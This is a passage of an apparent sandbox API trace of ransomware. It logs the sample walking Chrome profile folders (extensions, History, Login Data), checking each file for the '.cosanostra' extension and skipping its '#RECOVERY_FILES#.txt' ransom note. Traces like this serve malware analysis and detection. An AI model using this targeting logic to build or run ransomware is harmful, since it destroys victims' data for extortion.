(in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.443] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json") returned 164 [0087.443] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.443] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.443] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.443] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json") returned 164 [0087.443] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\#RECOVERY_FILES#.txt") returned 171 [0087.443] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\#RECOVERY_FILES#.txt") returned 171 [0087.443] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr") returned 150 [0087.443] lstrcmpW (lpString1="sr", lpString2=".") returned 1 [0087.443] lstrcmpW (lpString1="sr", lpString2="..") returned 1 [0087.443] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*") returned 152 [0087.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.444] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\.") returned 152 [0087.444] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.444] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.445] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\..") returned 153 [0087.445] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.445] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.445] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.445] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json") returned 164 [0087.445] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.445] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.445] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.445] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json") returned 164 [0087.445] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\#RECOVERY_FILES#.txt") returned 171 [0087.445] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\#RECOVERY_FILES#.txt") returned 171 [0087.445] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv") returned 150 [0087.445] lstrcmpW (lpString1="sv", lpString2=".") returned 1 [0087.445] lstrcmpW (lpString1="sv", lpString2="..") returned 1 [0087.445] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*") returned 152 [0087.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.445] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\.") returned 152 [0087.445] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.445] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.445] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\..") returned 153 [0087.445] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.445] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.445] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.445] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json") returned 164 [0087.445] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.445] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.445] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.446] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json") returned 164 [0087.446] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\#RECOVERY_FILES#.txt") returned 171 [0087.446] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\#RECOVERY_FILES#.txt") returned 171 [0087.446] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw") returned 150 [0087.446] lstrcmpW (lpString1="sw", lpString2=".") returned 1 [0087.446] lstrcmpW (lpString1="sw", lpString2="..") returned 1 [0087.446] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*") returned 152 [0087.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.453] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\.") returned 152 [0087.453] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.453] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.453] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\..") returned 153 [0087.453] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.453] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.453] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.453] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json") returned 164 [0087.453] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.453] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.453] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.453] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json") returned 164 [0087.453] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\#RECOVERY_FILES#.txt") returned 171 [0087.453] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\#RECOVERY_FILES#.txt") returned 171 [0087.454] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.454] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.454] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.454] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json") returned 164 [0087.454] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.454] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.454] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.454] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json") returned 164 [0087.455] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.455] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.455] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.455] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json") returned 164 [0087.455] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.455] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.455] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.455] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json") returned 164 [0087.456] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.456] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.456] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.456] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json") returned 164 [0087.456] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.456] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.456] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.456] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json") returned 164 [0087.456] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.456] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.456] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.456] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json") returned 164 [0087.457] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.457] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.457] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.457] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json") returned 167 [0087.458] StrStrIW (lpFirst="computed_hashes.json", lpSrch=".cosanostra") returned 0x0 [0087.458] lstrcmpW (lpString1="computed_hashes.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.458] lstrcmpW (lpString1="computed_hashes.json", lpString2="_uninstalling_.png") returned 1 [0087.458] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json") returned 169 [0087.458] StrStrIW (lpFirst="verified_contents.json", lpSrch=".cosanostra") returned 0x0 [0087.458] lstrcmpW (lpString1="verified_contents.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.458] lstrcmpW (lpString1="verified_contents.json", lpString2="_uninstalling_.png") returned 1 [0087.458] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json") returned 171 [0087.459] StrStrIW (lpFirst="Favicons", lpSrch=".cosanostra") returned 0x0 [0087.459] lstrcmpW (lpString1="Favicons", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.459] lstrcmpW (lpString1="Favicons", lpString2="_uninstalling_.png") returned 1 [0087.459] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 88 [0087.459] StrStrIW (lpFirst="Favicons-journal", lpSrch=".cosanostra") returned 0x0 [0087.459] lstrcmpW (lpString1="Favicons-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.459] lstrcmpW (lpString1="Favicons-journal", lpString2="_uninstalling_.png") returned 1 [0087.459] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 96 [0087.459] StrStrIW (lpFirst="Google Profile.ico", lpSrch=".cosanostra") returned 0x0 [0087.459] lstrcmpW (lpString1="Google Profile.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.459] lstrcmpW (lpString1="Google Profile.ico", lpString2="_uninstalling_.png") returned 1 [0087.459] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 98 [0087.459] StrStrIW (lpFirst="History", lpSrch=".cosanostra") returned 0x0 [0087.460] lstrcmpW (lpString1="History", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.460] lstrcmpW (lpString1="History", lpString2="_uninstalling_.png") returned 1 [0087.460] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 87 [0087.460] StrStrIW (lpFirst="History Provider Cache", lpSrch=".cosanostra") returned 0x0 [0087.460] lstrcmpW (lpString1="History Provider Cache", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.460] lstrcmpW (lpString1="History Provider Cache", lpString2="_uninstalling_.png") returned 1 [0087.460] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 102 [0087.460] StrStrIW (lpFirst="History-journal", lpSrch=".cosanostra") returned 0x0 [0087.460] lstrcmpW (lpString1="History-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.460] lstrcmpW (lpString1="History-journal", lpString2="_uninstalling_.png") returned 1 [0087.460] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 95 [0087.461] StrStrIW (lpFirst="A058.tmp", lpSrch=".cosanostra") returned 0x0 [0087.461] lstrcmpW (lpString1="A058.tmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.461] lstrcmpW (lpString1="A058.tmp", lpString2="_uninstalling_.png") returned 1 [0087.461] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 102 [0087.461] StrStrIW (lpFirst="A059.tmp", lpSrch=".cosanostra") returned 0x0 [0087.461] lstrcmpW (lpString1="A059.tmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.461] lstrcmpW (lpString1="A059.tmp", lpString2="_uninstalling_.png") returned 1 [0087.461] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 102 [0087.461] StrStrIW (lpFirst="2B03.tmp", lpSrch=".cosanostra") returned 0x0 [0087.461] lstrcmpW (lpString1="2B03.tmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.461] lstrcmpW (lpString1="2B03.tmp", lpString2="_uninstalling_.png") returned 1 [0087.461] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 105 [0087.461] StrStrIW (lpFirst="2B04.tmp", lpSrch=".cosanostra") returned 0x0 [0087.461] lstrcmpW (lpString1="2B04.tmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.461] lstrcmpW (lpString1="2B04.tmp", lpString2="_uninstalling_.png") returned 1 [0087.461] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 105 [0087.530] StrStrIW (lpFirst="000003.log", lpSrch=".cosanostra") returned 0x0 [0087.530] lstrcmpW (lpString1="000003.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.530] lstrcmpW (lpString1="000003.log", lpString2="_uninstalling_.png") returned 1 [0087.530] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log") returned 148 [0087.530] StrStrIW (lpFirst="CURRENT", lpSrch=".cosanostra") returned 0x0 [0087.530] lstrcmpW (lpString1="CURRENT", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.530] lstrcmpW (lpString1="CURRENT", lpString2="_uninstalling_.png") returned 1 [0087.530] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 145 [0087.530] StrStrIW (lpFirst="LOCK", lpSrch=".cosanostra") returned 0x0 [0087.530] lstrcmpW (lpString1="LOCK", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.530] lstrcmpW (lpString1="LOCK", lpString2="_uninstalling_.png") returned 1 [0087.530] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 142 [0087.530] StrStrIW (lpFirst="LOG", lpSrch=".cosanostra") returned 0x0 [0087.530] lstrcmpW (lpString1="LOG", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.530] lstrcmpW (lpString1="LOG", lpString2="_uninstalling_.png") returned 1 [0087.530] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 141 [0087.530] StrStrIW (lpFirst="MANIFEST-000001", lpSrch=".cosanostra") returned 0x0 [0087.530] lstrcmpW (lpString1="MANIFEST-000001", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.530] lstrcmpW (lpString1="MANIFEST-000001", lpString2="_uninstalling_.png") returned 1 [0087.530] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 153 [0087.623] StrStrIW (lpFirst="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpSrch=".cosanostra") returned 0x0 [0087.623] lstrcmpW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.623] lstrcmpW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpString2="_uninstalling_.png") returned 1 [0087.623] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 158 [0087.623] StrStrIW (lpFirst="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", lpSrch=".cosanostra") returned 0x0 [0087.623] lstrcmpW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.623] lstrcmpW (lpString1="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", lpString2="_uninstalling_.png") returned 1 [0087.623] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 166 [0087.625] StrStrIW (lpFirst="Login Data", lpSrch=".cosanostra") returned 0x0 [0087.625] lstrcmpW (lpString1="Login Data", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.625] lstrcmpW (lpString1="Login Data", lpString2="_uninstalling_.png") returned 1 [0087.625] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 90 [0087.625] StrStrIW (lpFirst="Login Data-journal", lpSrch=".cosanostra") returned 0x0 [0087.625] lstrcmpW (lpString1="Login Data-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.625] lstrcmpW (lpString1="Login Data-journal", lpString2="_uninstalling_.png") returned 1 [0087.625] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 98 [0087.625] StrStrIW (lpFirst="Network Action Predictor", lpSrch=".cosanostra") returned 0x0 [0087.625] lstrcmpW (lpString1="Network Action 